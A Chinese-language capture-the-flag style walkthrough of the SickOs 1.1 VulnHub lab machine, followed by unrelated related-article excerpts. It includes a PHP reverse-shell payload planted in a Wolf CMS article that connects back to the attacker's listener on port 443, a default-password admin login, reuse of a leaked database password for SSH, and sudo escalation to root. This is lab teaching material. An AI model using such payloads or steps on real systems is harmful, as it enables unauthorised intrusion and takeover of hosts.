Sickos1.1 详细靶机思路 实操笔记

Sickos1.1 详细靶机思路 实操笔记

免责声明

本博客提供的所有信息仅供学习和研究目的,旨在提高读者的网络安全意识和技术能力。请在合法合规的前提下使用本文中提供的任何技术、方法或工具。如果您选择使用本博客中的任何信息进行非法活动,您将独自承担全部法律责任。本博客明确表示不支持、不鼓励也不参与任何形式的非法活动。

靶机链接SickOs: 1.1 ~ VulnHub下来后导入到vmware里面

右键vm靶机栏 打开靶机的.ovf文件

在这里插入图片描述

Nmap信息收集

主机发现:

sudo nmap -sn 192.168.236.128/24

开启靶机后能找到133这台机器,就是我们要打的靶机

TCP扫描

sudo nmap -sT --min-rate 10000 -p- -oA sickok_ports 192.168.236.133

在这里插入图片描述

拿到了这三个端口22,3128,8080 对应的端口分别为ssh squid-http http-proxy

详细端口扫描

nmap -sT --min-rate 10000 -p 22,3128,8080 -O -sV -sC -oA sickos_detail 192.168.236.133

在这里插入图片描述

给出了更详细的信息,如服务版本号,主机型号等

nmap默认漏洞脚本扫描

nmap --script=vuln -oA sickos_script p22,8080,3128 192.168.236.133

在这里插入图片描述

没有什么发现,nmap没有给出利用路径

web渗透

攻击面分析

我们知道了3128开放的是一个squid代理服务,版本为3.1.19,如下直接访问没有给什么东西

在这里插入图片描述

8080端口关闭,是一个http-proxy 可能是什么代理之类的服务,直接去访问是拒绝连接

22端口ssh远程连接我们可以尝试去空密码连接,但可能性不大,如果在我们去寻找凭据实在走不下去了可以去尝试一下

squid代理

先去搜索一下squid服务

Squid代理服务器
Squid主要提供缓存加速、应用层过滤控制、web服务隐藏真实IP(安全性)的功能。
1、代理的工作机制
代替客户机向网站请求数据,从而可以隐藏用户的真实IP地址。
将获得的网页数据(静态 Web 元素)保存到缓存中并发送给客户机,以便下次请求相同的数据时快速响应。
2、代理的类型
传统代理:

适用于Internet,需在客户机指定代理服务器的地址和端口。
透明代理:

客户机不需指定代理服务器的地址和端口,而是通过默认路由、防火墙策略将Web访问重定向给代理服务器处理。
反向代理:

如果 Squid 反向代理服务器中缓存了该请求的资源,则将该请求的资源直接返回给客户端;否则反向代理服务器将向后台的 WEB 服务器请求资源,然后将请求的应答返回给客户端,同时也将该应答缓存(静态)在本地,供下一个请求者使用。

靶机的squid跑在3128端口上,应该指定的代理服务器端口就为3128,在浏览器上设置一下proxy

在这里插入图片描述

设置好后发现直接访问靶机ip可以通,给了一个BLEHHH!!! 这是一个俚语

在这里插入图片描述

既然可以通那就爆破一下目录吧

指定一下代理

dirb http://192.168.236.133/ -p http://192.168.236.133:3128/

在这里插入图片描述

+ http://192.168.236.133/cgi-bin/ (CODE:403|SIZE:291)                                                                                                     
+ http://192.168.236.133/connect (CODE:200|SIZE:109)                                                                                                      
+ http://192.168.236.133/index (CODE:200|SIZE:21)                                                                                                         
+ http://192.168.236.133/index.php (CODE:200|SIZE:21)                                                                                                     
+ http://192.168.236.133/robots (CODE:200|SIZE:45)                                                                                                        
+ http://192.168.236.133/robots.txt (CODE:200|SIZE:45)                                                                                            
+ http://192.168.236.133/server-status (CODE:403|SIZE:296)  

先访问最感兴趣的index.php

其实就是之前的BLEHHHH!!

其他的目录扫了一眼,/connect里面是一个脚本,没什么用大概就是说 你可能想要尝试(利用)我的服务,但后来发现这个原来是被/etc/cron.d/automate自动任务给了root权限,后续可以看sick1.1解法二,用这个点进行提权

#!/usr/bin/python

print("I Try to connect things very frequently")
print("You may want to try my services")

/server-status 403forbidden无法访问

robots.txt :

在这里插入图片描述

给了一个Dissalow:/wolfcms,尝试一下访问这个路由,尝试访问发现真的有

在这里插入图片描述

点了一圈没有什么发现,网页都是一些静态资源,去网上搜索一下wolfcms有没有什么框架漏洞

Wolf CMS - Arbitrary File Upload / Execution - PHP webapps Exploit

这里发现一个长得很像登陆界面的url

在这里插入图片描述

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

确实跳转到了一个登录页

在这里插入图片描述

弱密码U/P:admin admin进入wolfcms的后台

在这里插入图片描述

反向连接shell

在登录wolfcms后台之后随便点点,发现有很多代码执行和文件上传的位置,比如Home Page里面就可以填写php代码

在Articles中嵌入

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'");?>

来分析一下这个反向连接shell

exec() php的内置函数,用于执行外部程序 基础语法:exec(command,output,return_var) (命令,存储命令的输出,返回状态码)

/bin/bash Linux系统中的Bash shell的路径 /bin/bash是Bash shell的可执行文件

-c这是Bash的一个选项,表示后面跟着的字符串会被当作一个命令来执行

'bash -i >& /dev/tcp/192.168.236.128/443 0>&1'这个字符串是传递给Bash的命令。我们再进一步解析:

bash -i

bash:启动一个新的Bash shell。-i:表示以交互模式运行Bash shell。

>&:这是一个重定向操作符,用于将标准输出(stdout)和标准错误(stderr)合并并重定向到指定的目标。

/dev/tcp/192.168.236.128/443:这是一个特殊的文件描述符,表示通过TCP协议连接到IP地址为 192.168.236.128 的主机,端口为 443

0>&1

0:表示标准输入(stdin)。

>&1:表示将标准输入(stdin)重定向到标准输出(stdout)的文件描述符。

在这里插入图片描述

嵌入,保存后在kali上开启监听

sudo nc -lvnp 443

在这里插入图片描述

再去访问Artical 反弹shell成功

在这里插入图片描述

提权

信息收集

先看一下得到的权限能干什么,有什么权限,在这个权限下能看到的文件等信息,这里我建议最好把整个shell的所有能访问到的东西都先浏览一遍,把他的文件结构都搞清楚,要知道他有没有什么可以访问的配置文件config等,/etc/passwd这种重要的目录也要去尝试一下有没有权限打开,里面是否有我们感兴趣的内容

whoami

可以看到现在的用户是www-data

在这里插入图片描述

尝试访问/etc/passwd 发现root和sickos这两个账户是拥有bash环境的,而我们所在的www-data是没有的,所以如果我们找到凭据应该优先尝试这两个账户。

在这里插入图片描述

ls -alh

能看到有一个config.php配置文件 ,得到了一个凭据john@123 这里还给了一个mysql的用户名,但是这个机器没开3389,没有实际意义 ,得到的这个凭据,可以结合上面得到的两个账号,尝试一下ssh连接,如果可以就成功提权了

<?php 

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');

// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);

// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);

// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);

// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');

// Use httpS for the backend?
// Before enabling this, please make sure you have a working HTTP+SSL installation.
define('USE_HTTPS', false);

// Use HTTP ONLY setting for the Wolf CMS authentication cookie?
// This requests browsers to make the cookie only available through HTTP, so not javascript for example.
// Defaults to false for backwards compatibility.
define('COOKIE_HTTP_ONLY', false);

// The virtual directory name for your Wolf CMS administration section.
define('ADMIN_DIR', 'admin');

// Change this setting to enable mod_rewrite. Set to "true" to remove the "?" in the URL.
// To enable mod_rewrite, you must also change the name of "_.htaccess" in your
// Wolf CMS root directory to ".htaccess"
define('USE_MOD_REWRITE', false);

// Add a suffix to pages (simluating static pages '.html')
define('URL_SUFFIX', '.html');

// Set the timezone of your choice.
// Go here for more information on the available timezones:
// http://php.net/timezones
define('DEFAULT_TIMEZONE', 'Asia/Calcutta');

// Use poormans cron solution instead of real one.
// Only use if cron is truly not available, this works better in terms of timing
// if you have a lot of traffic.
define('USE_POORMANSCRON', false);

// Rough interval in seconds at which poormans cron should trigger.
// No traffic == no poormans cron run.
define('POORMANSCRON_INTERVAL', 3600);

// How long should the browser remember logged in user?
// This relates to Login screen "Remember me for xxx time" checkbox at Backend Login screen
// Default: 1800 (30 minutes)
define ('COOKIE_LIFE', 1800);  // 30 minutes

// Can registered users login to backend using their email address?
// Default: false
define ('ALLOW_LOGIN_WITH_EMAIL', false);

// Should Wolf CMS block login ability on invalid password provided?
// Default: true
define ('DELAY_ON_INVALID_LOGIN', true);

// How long should the login blockade last?
// Default: 30 seconds
define ('DELAY_ONCE_EVERY', 30); // 30 seconds

// First delay starts after Nth failed login attempt
// Default: 3
define ('DELAY_FIRST_AFTER', 3);

// Secure token expiry time (prevents CSRF attacks, etc.)
// If backend user does nothing for this time (eg. click some link) 
// his token will expire with appropriate notification
// Default: 900 (15 minutes)
define ('SECURE_TOKEN_EXPIRY', 900);  // 15 minutes

看到别人的博客,还找到了这个路径下的配置文件

cat /var/www/wolfcms/wolf/plugins/backup_restore/views/settings.php

里面有一个密码在这里插入图片描述
但实际好像并没有什么用处

ssh

尝试sickos root john@123 pawpsw123这一组凭据

这一组可以连接

ssh sickos@192.168.236.133

john@123

sudo -l查看一下拿到的shell的权限

在这里插入图片描述

有sudo权限,可以运行任何命令(ALL:ALL) 也就是可以用sudo命令提升到root权限

那就直接切换root用户

sudo /bin/bash

成功提权,root目录下有flag

在这里插入图片描述

成功通关sickos

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/924460.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GB28181系列二:SIP信令

我的音视频/流媒体开源项目(github) GB28181系列目录 目录 一、SIP报文介绍 二、SIP交互流程&#xff1a; 1、Session Model 2、Pager Model 3、SIP信令交互过程中的3个定义 三、媒体传输&#xff08;SDP和RTP&#xff09; 一、SIP报文介绍 这里将会介绍SIP…

【接口自动化测试】一文从0到1详解接口测试协议!

接口自动化测试是软件开发过程中重要的环节之一。通过对接口进行测试&#xff0c;可以验证接口的功能和性能&#xff0c;确保系统正常运行。本文将从零开始详细介绍接口测试的协议和规范。 定义接口测试协议 接口测试协议是指用于描述接口测试的规范和约定。它包含了接口的请求…

CentOS7执行yum命令报错,已加载插件:fastestmirrorLoading mirror speeds from cached hostfile

一、出现一下异常问题&#xff0c;表示域名没有配置或配置错误 问题一&#xff1a; 0curl: (6) Could not resolve host: mirrors.aliyun.com; 未知的错误 问题二&#xff1a;虚拟机使用ping主机&#xff0c;提示network unreachable 2.原因分析 出现这个问题是因为yum在安装…

【Threejs进阶教程-着色器篇】9.顶点着色器入门

【Threejs进阶教程-着色器篇】9.顶点着色器入门 本系列教程第一篇地址&#xff0c;建议按顺序学习认识顶点着色器varying介绍顶点着色器与片元着色器分别的作用Threejs在Shader中的内置变量各种矩阵gl_Position 尝试使用顶点着色器增加分段数增强效果 制作平面鼓包效果鼓包效果…

Ubuntu 硬盘分区并挂载

一、什么是挂载 1.挂载的定义 在 Ubuntu&#xff08;或其他 Linux 系统&#xff09;中&#xff0c;挂载&#xff08;Mount&#xff09; 是将一个存储设备或分区连接到系统的文件系统层次结构中的过程。挂载后&#xff0c;你可以通过某个目录&#xff08;挂载点&#xff09;访问…

【前端开发】一文带你快速入门 JavaScript(上)Web 前端必备程序语言 | 环境搭建与基础知识

&#x1f4af; 欢迎光临清流君的博客小天地&#xff0c;这里是我分享技术与心得的温馨角落 &#x1f4af; &#x1f525; 个人主页:【清流君】&#x1f525; &#x1f4da; 系列专栏: 运动控制 | 决策规划 | 机器人数值优化 &#x1f4da; &#x1f31f;始终保持好奇心&…

视频推拉流EasyDSS互联网直播点播平台技术特点及应用场景剖析

在数字科技日新月异的今天&#xff0c;视频直播和点播已经成为互联网内容传播的重要方式之一。而互联网直播点播平台EasyDSS作为功能强大的流媒体直播点播视频能力平台&#xff0c;提供了一站式的视频推拉流、转码、直播、点播、时移回放、存储等视频服务&#xff0c;广泛应用于…

Qt读写Usb设备的数据

Qt读写Usb设备的数据 问题:要读取usb设备进行通讯&#xff0c;qt好像没有对应的库支持。解决&#xff1a;libusbwindow下载 :Linux下载: QtUsb 开源的第三方库库里面的函数说明&#xff1a;window版本&#xff1a;Linux中也提供的直接下载测试代码&#xff1a;库下载&#xff1…

2024最新python使用yt-dlp

2024最新python使用yt-dlp下载YT视频 1.获取yt的cookie1&#xff09;google浏览器下载Get cookies.txt LOCALLY插件2&#xff09;导出cookie 2.yt-dlp下载[yt-dlp的GitHub地址](https://github.com/yt-dlp/yt-dlp?tabreadme-ov-file)1&#xff09;使用Pycharm(2024.3)进行代码…

一加ACE 3 Pro手机无法连接电脑传输文件问题

先说结论&#xff1a;OnePlus手机无法连接电脑传输数据的原因&#xff0c;大概率是一加数据线的问题。尝试其他手机品牌的数据线&#xff08;比如华为&#xff09;&#xff0c;再次尝试。 连接电脑方法&#xff1a; 1 打开开发者模式&#xff08;非必要操作&#xff09; 进入…

java:aqs实现自定义锁

aqs采用模板方式设计模式&#xff0c;需要重写方法 package com.company.aqs;import java.util.concurrent.TimeUnit; import java.util.concurrent.locks.AbstractQueuedSynchronizer; import java.util.concurrent.locks.Condition; import java.util.concurrent.locks.Lock;…

linux系统下如何将xz及ISO\img等格式压缩包(系统)烧写到优盘(TF卡)

最近用树莓派做了个NAS&#xff0c;效果一般&#xff0c;缺少监控及UI等&#xff0c;详细见这篇文章&#xff1a; https://blog.csdn.net/bugsycrack/article/details/135344782?spm1001.2014.3001.5501 所以下载了专门的基于树莓派的NAS系统直接使用。这篇文章是顺便复习一…

python除了熟悉的pandas,openpyxl库也很方便的支持编辑Excel表

excel表格是大家经常用到的文件格式&#xff0c;各行各业都会跟它打交道。之前文章我们介绍了使用openpyxl和xlrd库读取excel表数据&#xff0c;使用xlwt库创建和编辑excel表&#xff0c;在办公自动化方面可以方便我们快速处理数据&#xff0c;帮助我们提升效率。 python之open…

【VUE3】新版Vue3+ElementPlus全家桶开发视频项目实战

VUE 介绍 Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助你高效地开发用户界面。 Vue.js是一个MVVM(Model - View - ViewModel)的SPA框架。 Model:数…

介绍一下atol(arr);(c基础)

hi , I am 36 适合对象c语言初学者 atol(arr)&#xff1b;是返回整数(long型)&#xff0c;整数是arr数组中字符中数字 格式 #include<stdio.h> atol(arr); 返回值arr数组中的数字 未改变arr数组 #include<stdio.h> //atol(arr); 返 <stdlib> int main…

微信小程序WXSS全局样式与局部样式的使用教程

微信小程序WXSS全局样式与局部样式的使用教程 引言 在微信小程序的开发中,样式的设计与实现是提升用户体验的关键部分。WXSS(WeiXin Style Sheets)作为微信小程序的样式表语言,不仅支持丰富的样式功能,还能通过全局样式与局部样式的灵活运用,帮助开发者构建美观且易于维…

OceanBase 大数据量导入(obloader)

现需要将源数据库&#xff08;Oracle|MySQL等&#xff09;一些表的海量数据迁移到目标数据库 OceanBase 中&#xff0c;基于常规 jdbc 驱动编码的方式涉及开发工作&#xff0c;性能效率也要看编码的处理机制。 OceanBase 官方提供了的 OceanBase Migration Service (OMS) 数据…

Spring Boot框架:英语知识网站构建指南

3系统分析 3.1可行性分析 通过对本英语知识应用网站实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本英语知识应用网站采用SSM框架&#xff0c;JAVA作为开发语…

路由器中继与桥接

一 . 背景 现在的路由器大多数已经开始支持多种网络连接模式&#xff0c;以下将以TP-Link迷你无线路由器为例进行展开介绍。在TP-Link迷你无线路由器上一般有AP&#xff08;接入点&#xff09;模式&#xff0c;Router&#xff08;无线路由&#xff09;模式&#xff0c;Repeate…

Paddle Inference部署推理(一)

一&#xff1a;Paddle Inference推理 简介 Paddle Inference 是飞桨的原生推理库&#xff0c;提供服务器端的高性能推理能力。由于 Paddle Inference 能力直接基于飞桨的训练算子&#xff0c;因此它支持飞桨训练出的所有模型的推理。 Paddle Inference 功能特性丰富&#xff…